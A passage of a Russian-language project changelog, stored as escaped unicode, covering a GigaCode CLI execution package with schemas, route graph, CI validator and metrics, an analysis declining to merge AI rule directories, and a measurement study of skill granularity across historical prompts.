\u043d\u0435\u043f\u043e\u043a\u0440\u044b\u0442\u044b\u0435 \u043f\u0430\u0440\u044b. \u041f\u0440\u0430\u0432\u0438\u043b\u043e, \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u0432\u0448\u0435\u0435 \u0442\u0435\u043a\u0441\u0442\u043e\u043c, \u043d\u0430\u0447\u0430\u043b\u043e \u043b\u043e\u0432\u0438\u0442\u044c \u043f\u0440\u043e\u0431\u0435\u043b\u044b \u0432 \u043f\u0435\u0440\u0432\u043e\u043c \u0436\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u0435.\\n\\n- projects: [\u041f\u0430\u043a\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f MVP BCREQ](projects/ba-ai-process/dist/execution-package-gigacode-cli/README.md) (issue #580) \u2014 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f \u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u0440\u0435\u0437\u0430 `A-IN \u2192 A-CORE \u2192 A-BCREQ` \u0434\u043b\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0433\u043e \u043a\u043b\u0430\u0441\u0441\u0430 \u00ab\u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u00bb \u0432 \u0444\u043e\u0440\u043c\u0443, \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0435\u043c\u0443\u044e \u0432 \u0447\u0438\u0441\u0442\u044b\u0439 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439-\u0441\u043f\u0443\u0442\u043d\u0438\u043a \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430. \u041f\u0430\u043a\u0435\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0435 \u043c\u0430\u0448\u0438\u043d\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u0438 (12 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432, 31 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f, 10 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438 33 \u043d\u0430\u0432\u044b\u043a\u0430 \u0441 \u043e\u0442\u043c\u0435\u0442\u043a\u043e\u0439 \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u043d\u043e\u0441\u0442\u0438 \u0441\u0440\u0435\u0437\u0443, 4 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0445 \u043f\u0440\u043e\u0444\u0438\u043b\u044f, 8 \u0441\u043c\u0435\u0436\u043d\u044b\u0445 \u0442\u0435\u0440\u043c\u0438\u043d\u043e\u0432 \u0434\u043e\u043c\u0435\u043d\u0430 \u0441 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0441\u043c\u0435\u0448\u0435\u043d\u0438\u044f); \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b `C-IN`, `C-CORE`, `C-CL`, `C-OUT`, `C-RK` \u043a\u0430\u043a JSON Schema; [\u0433\u0440\u0430\u0444 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 `RG-BCREQ-v1`](projects/ba-ai-process/dist/execution-package-gigacode-cli/routes/rg-bcreq-v1.yaml) \u0438\u0437 \u0434\u0432\u0435\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u0443\u0437\u043b\u043e\u0432 \u0441 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u043e\u043c \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0435\u0431\u0440\u0435 \u0438 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u043e\u0439 \u0433\u0435\u0439\u0442\u043e\u0432 fail-closed; \u043e\u0434\u0438\u043d\u043d\u0430\u0434\u0446\u0430\u0442\u044c `SKILL.md` \u0441 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u043e\u043b\u044f\u043c\u0438 \u0441\u0440\u0435\u0434\u044b `name` \u0438 `description` (`SK-0`, `SK-8`) \u0438 \u0448\u0435\u0441\u0442\u044c\u044e \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u043c\u0438 \u0440\u0430\u0437\u0434\u0435\u043b\u0430\u043c\u0438 \u0425\u0430\u0431\u0430; \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 Golden Set \u0438\u0437 \u0434\u0432\u0443\u0445 \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u043e\u0442\u0440\u0438\u0446\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u2014 \u043a\u0440\u043e\u0441\u0441-\u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0438 \u0441\u043b\u043e\u0432\u0430\u0440\u044f \u00ab\u0412\u0445\u043e\u0434\u044f\u0449\u0438\u0435\u00bb \u043f\u0440\u043e\u0442\u0438\u0432 \u00ab\u0418\u041e\u00bb, \u0433\u0434\u0435 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u043c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u043c \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f **\u043e\u0442\u043a\u0430\u0437 \u0443\u0437\u043b\u0430**, \u0430 \u043d\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442; \u043c\u0435\u0442\u0440\u0438\u043a\u0438 `M-1`\u2026`M-5` \u0438 `MP-1`\u2026`MP-6` \u0441 \u0444\u043e\u0440\u043c\u0443\u043b\u0430\u043c\u0438; \u0447\u0435\u043a-\u043b\u0438\u0441\u0442\u044b \u0433\u0435\u0439\u0442\u043e\u0432, \u0440\u0430\u0437\u0432\u0435\u0434\u0451\u043d\u043d\u044b\u0435 \u043f\u043e \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0443 \u00ab\u0447\u0435\u043b\u043e\u0432\u0435\u043a \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0442\u043e, \u0447\u0442\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043c\u0430\u0448\u0438\u043d\u0430\u00bb. \u041c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0433\u0435\u0439\u0442 `G-mach` \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d \u043a\u0430\u043a \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 [`validate-package.py`](projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/validate-package.py) \u0438 \u0432\u043a\u043b\u044e\u0447\u0451\u043d \u0432 CI \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u0432\u043e\u0441\u0435\u043c\u044c\u044e \u0440\u0435\u0433\u0440\u0435\u0441\u0441\u0438\u043e\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430\u043c\u0438 [`test-execution-package.sh`](tools/test-execution-package.sh), \u043a\u0430\u0436\u0434\u0430\u044f \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043b\u043e\u043c\u0430\u0435\u0442 \u043e\u0434\u043d\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 \u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043e\u0442\u043a\u0430\u0437\u0430: \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442, \u0433\u0435\u0439\u0442\u043e\u043c \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f (`M-2`). \u041d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u043e\u0442 \u0425\u0430\u0431\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0430\u0448\u0438\u043d\u043d\u043e: \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0425\u0430\u0431\u0430 \u0432 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0430 \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u043c \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438. \u0421\u043e\u0441\u0442\u0430\u0432 \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e, \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0438 \u043e\u0442\u0431\u0440\u043e\u0448\u0435\u043d\u043d\u043e\u0433\u043e \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u0432 [\u043c\u0430\u043d\u0438\u0444\u0435\u0441\u0442\u0435 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438](projects/ba-ai-process/dist/execution-package-gigacode-cli/package-manifest.yaml); \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u0437\u0430\u0434\u0430\u0447\u0438 B-179\u2026B-188 (\u0421\u043f\u0440\u0438\u043d\u0442 20). \u041d\u043e\u043c\u0435\u0440 20 \u0438 \u0434\u0438\u0430\u043f\u0430\u0437\u043e\u043d `B-179`\u2026`B-188`, \u0430 \u043d\u0435 19 \u0438 `B-169`\u2026`B-178`: \u043f\u0440\u0438 \u0441\u043b\u0438\u044f\u043d\u0438\u0438 \u0441 `main` \u043d\u043e\u043c\u0435\u0440 19 \u0438 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b `B-169`\u2026`B-174` \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u0437\u0430\u043d\u044f\u0442\u044b \u0441\u043f\u0440\u0438\u043d\u0442\u043e\u043c \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 MVP \u043f\u043e issue [#583](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/583), \u0438 \u043f\u0435\u0440\u0435\u043d\u0443\u043c\u0435\u0440\u0430\u0446\u0438\u044f \u0437\u0430\u043d\u044f\u0442\u043e\u0433\u043e \u0441\u043f\u0440\u0438\u043d\u0442\u0430 \u043f\u043e\u0440\u0432\u0430\u043b\u0430 \u0431\u044b \u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u044c. \u0421\u043f\u0440\u0438\u043d\u0442 19 \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439-\u0441\u043f\u0443\u0442\u043d\u0438\u043a \u043f\u043e \u0448\u0430\u0431\u043b\u043e\u043d\u0443 HTOM, \u0421\u043f\u0440\u0438\u043d\u0442 20 \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0435\u0442 \u0432 \u043d\u0451\u043c \u043f\u0430\u043a\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 `B-179` \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 `B-170`.\\n- analysis: [\u041a\u043e\u043d\u0441\u043e\u043b\u0438\u0434\u0430\u0446\u0438\u044f `ai-rules/` \u0438 `ai-governance/` \u0432 \u0435\u0434\u0438\u043d\u044b\u0439 `ai/`: options analysis](docs/analysis/2026-09-15-ai-directories-consolidation-analysis.md) (issue #579, Creative) \u2014 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u0430\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u0434\u0432\u0443\u0445 \u043a\u043e\u0440\u043d\u0435\u0432\u044b\u0445 `ai-*` \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432. \u0420\u0435\u0448\u0435\u043d\u0438\u0435: **\u043f\u043e\u0434\u0445\u043e\u0434 \u0410, \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u043d\u0435 \u043c\u0435\u043d\u044f\u0442\u044c**. \u041a\u043b\u044e\u0447\u0435\u0432\u043e\u0439 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u2014 \u043f\u0440\u043e\u0441\u0442\u043e\u0442\u0430 \u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0432 `templates/htom/` \u2014 \u0438\u0437\u043c\u0435\u0440\u0435\u043d \u043f\u043e \u043a\u043e\u0434\u0443 \u0433\u0435\u043d\u043e\u043c\u0430 \u0438 \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u043d\u0435 \u0437\u0430\u0432\u0438\u0441\u044f\u0449\u0438\u043c \u043e\u0442 \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u043a\u0438 \u043a\u043e\u0440\u043d\u044f \u0425\u0430\u0431\u0430: HTOM-\u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u043d\u0435 \u043d\u0430\u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0438 `ai-*` \u0432\u043e\u043e\u0431\u0449\u0435 (\u0433\u0435\u043d\u043e\u043c \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0442\u0440\u0438 \u043f\u043b\u043e\u0441\u043a\u0438\u0445 \u043a\u043e\u0440\u043d\u0435\u0432\u044b\u0445 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430, \u0435\u0433\u043e \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u0447\u0435\u0440\u0435\u0437 `resolve_one_of` \u0443\u0436\u0435 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0442\u0440\u0438 \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u043a\u0438, \u043d\u0438 \u043e\u0434\u0438\u043d `ai-*` \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u043d\u0435 \u0432\u0445\u043e\u0434\u0438\u0442 \u0432 `required_directories`, \u0441\u0432\u044f\u0437\u044c \u0441 \u0425\u0430\u0431\u043e\u043c \u2014 \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u044b\u0435 URL). \u041a\u043e\u043d\u0441\u043e\u043b\u0438\u0434\u0430\u0446\u0438\u044f \u043d\u0435 \u0443\u043f\u0440\u043e\u0441\u0442\u0438\u043b\u0430 \u0431\u044b \u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435, \u0430 \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0430 \u0431\u044b \u0447\u0435\u0442\u0432\u0451\u0440\u0442\u0443\u044e \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u043c\u0443\u044e \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u043a\u0443. \u0412\u044b\u0433\u043e\u0434\u0430 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0430 \u043a\u0430\u043a \u043c\u0438\u043d\u0443\u0441 \u043e\u0434\u043d\u0430 \u0437\u0430\u043f\u0438\u0441\u044c \u043a\u043e\u0440\u043d\u044f \u0438\u0437 26 (~4 %); \u0446\u0435\u043d\u0430 \u2014 658 \u0432\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0439 \u043f\u0443\u0442\u0438 \u0432 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u0445, \u0438\u0437 \u043d\u0438\u0445 229 \u0432 20 \u0438\u043c\u043c\u0443\u0442\u0430\u0431\u0435\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430\u0445 `docs/adr/` \u0438 `docs/rfc/`, \u0440\u0430\u0441\u0445\u043e\u0434 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0430 `path_migrations` \u0438 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u043d\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 `AGENTS.md` \u0432\u043e \u0432\u0441\u0435\u0445 \u0441\u043f\u0438\u0446\u0430\u0445, \u0433\u0434\u0435 \u0438\u043c\u044f `ai-rules/` \u0441\u0442\u043e\u0438\u0442 \u0432 general-\u0441\u0435\u043a\u0446\u0438\u044f\u0445 `` \u0438 ``, \u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0445 \u0432 \u0441\u043f\u0438\u0446\u044b \u0431\u0435\u0437 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 (ADR-012). \u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0445\u043e\u0434 \u0411 \u0434\u0430\u0451\u0442 \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0435\u0433\u0440\u0435\u0441\u0441: \u043f\u043e\u0434\u043d\u0438\u043c\u0430\u0435\u0442 `skills/` \u0438 `commands/` \u0438\u0437 \u043f\u043e\u0434\u043a\u043b\u0430\u0441\u0441\u0430 \u0430\u0433\u0435\u043d\u0442\u0441\u043a\u0438\u0445 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 (`ai-rules/skills/`, `ai-rules/commands/`) \u0432 \u0431\u0440\u0430\u0442\u044c\u044f `rules/` \u0432\u043e\u043f\u0440\u0435\u043a\u0438 ADR-016 \u0438 \u0443\u0442\u0430\u043f\u043b\u0438\u0432\u0430\u0435\u0442 \u0433\u0440\u0430\u043d\u0438\u0446\u0443 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0430 \u2194 \u043f\u0440\u0430\u0432\u0438\u043b\u043e, \u043a\u043e\u0442\u043e\u0440\u0443\u044e ADR-007 \u0432\u0432\u0451\u043b \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u043a\u043e\u0440\u043d\u044f \u0438\u043c\u0435\u043d\u043d\u043e \u043a\u0430\u043a \u0437\u0430\u0449\u0438\u0442\u0443 \u043e\u0442 \u0441\u0445\u043b\u043e\u043f\u044b\u0432\u0430\u043d\u0438\u044f \u0432 \u043e\u0434\u0438\u043d bucket. \u0418\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d \u0438 \u043f\u0440\u0438\u0437\u043d\u0430\u043d \u043d\u0435\u0439\u0442\u0440\u0430\u043b\u044c\u043d\u044b\u043c: \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u0441\u0440\u0435\u0434\u044b \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0438\u043c\u0435\u043d\u0430 (`AGENTS.md`), \u0430 \u043d\u0435 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u043d\u044b\u0435 \u0434\u043e\u043c\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432. ADR-007 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 \u0441\u0438\u043b\u0435 \u0438 \u043d\u0435 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f `superseded`; \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0442\u0440\u0438 \u0442\u0440\u0438\u0433\u0433\u0435\u0440\u0430 \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0430.\\n\\n- research: \u0434\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u0430\u043c\u0435\u0440 [\u0413\u0440\u0430\u043d\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u044c \u043d\u0430\u0432\u044b\u043a\u0430 \u0438 \u0444\u043e\u0440\u043c\u0430\u0442 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430](research/ba-requirements/2026-09-10-skill-granularity-format-facts.md) \u0438 \u0438\u0437\u043c\u0435\u0440\u0438\u0442\u0435\u043b\u044c [`measure-skill-format.py`](research/ba-requirements/exp/ba-process-taxonomy-571/measure-skill-format.py) (issue #571, [\u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u043a PR #572](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/572)) \u2014 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0434\u0432\u0443\u0445 \u0433\u0438\u043f\u043e\u0442\u0435\u0437 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u0432\u043c\u0435\u0441\u0442\u043e \u043e\u0442\u0432\u0435\u0442\u0430 \u0440\u0430\u0441\u0441\u0443\u0436\u0434\u0435\u043d\u0438\u0435\u043c. \u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u0441\u0440\u0435\u0434\u044b \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0430 \u0444\u0430\u043a\u0442\u0430\u043c\u0438 `GC-25`\u2013`GC-28`: \u043d\u0430\u0432\u044b\u043a \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d \u0447\u0435\u0440\u0435\u0437 **\u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u043c\u043e\u0441\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u044b**, \u0430 \u043d\u0435 \u0447\u0435\u0440\u0435\u0437 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u0438, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u044b \u043d\u0438\u0436\u043d\u044f\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u0444\u043e\u0440\u043c\u044b (\u043a\u043e\u0440\u043e\u0442\u043a\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u0438\u043b\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u2014 \u043c\u0435\u0441\u0442\u043e \u0432 `AGENTS.md`) \u0438 \u0432\u0435\u0440\u0445\u043d\u044f\u044f (\u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0430 \u0438 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u2014 \u0430\u0433\u0435\u043d\u0442). \u0423\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 0.2 \u00ab\u043d\u0430\u0432\u044b\u043a \u2014 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u0430 \u043d\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438\u00bb \u043e\u043f\u043e\u0440\u044b \u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u0441\u0440\u0435\u0434\u044b \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u0438 \u0431\u044b\u043b\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u0435\u043c \u0425\u0430\u0431\u0430, \u043f\u0440\u0435\u0434\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u043c \u043a\u0430\u043a \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u0441\u0440\u0435\u0434\u044b. \u0417\u0430\u043c\u0435\u0440 24 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043f\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u0430 \u0440\u0435\u0436\u0438\u043c\u043e\u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u043b\u0438 **\u0444\u043e\u0440\u043c\u0430\u0442 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430**, \u0430 \u043d\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u044e: \u0442\u043e\u0447\u043a\u0430 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0430\u043a\u0442\u043e\u0440\u0443 \u0434\u0435\u043b\u0438\u0442 \u043a\u043e\u0440\u043f\u0443\u0441 \u0431\u0435\u0437 \u0435\u0434\u0438\u043d\u043e\u0433\u043e \u043f\u0435\u0440\u0435\u0441\u0435\u0447\u0435\u043d\u0438\u044f (`stepwise` 10 \u0438\u0437 10, `oneshot` 0 \u0438\u0437 9, `legacy` 0 \u0438\u0437 5), \u0442\u043e\u0433\u0434\u0430 \u043a\u0430\u043a \u0447\u0438\u0441\u043b\u043e \u0448\u0430\u0433\u043e\u0432 \u043d\u0435 \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u0435\u0442 \u043d\u0438\u0447\u0435\u0433\u043e \u2014 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0439 \u0443\u043f\u043e\u0440\u044f\u0434\u043e\u0447\u0435\u043d\u043d\u044b\u0439 \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c \u0435\u0441\u0442\u044c \u0443 9 \u0438\u0437 9 `oneshot`-\u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0440\u0430\u0432\u0435\u043d\u0441\u0442\u0432\u043e \u00ab`oneshot` = \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u0430\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u00bb \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e. \u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 `L3` \u043d\u0430\u0432\u044b\u043a\u043e\u0432 \u0438\u0437 \u043e\u0434\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u043d\u0435\u0442 \u043d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e (2\u20137 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u043d\u0430 \u043d\u0430\u0432\u044b\u043a), \u043d\u043e 21 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0438\u0437 31 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0442\u0440\u0435\u043c\u044f \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430\u043c\u0438 \u2014 \u043e\u0442\u0431\u043e\u0440 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442\u043e\u0432 \u043d\u0430 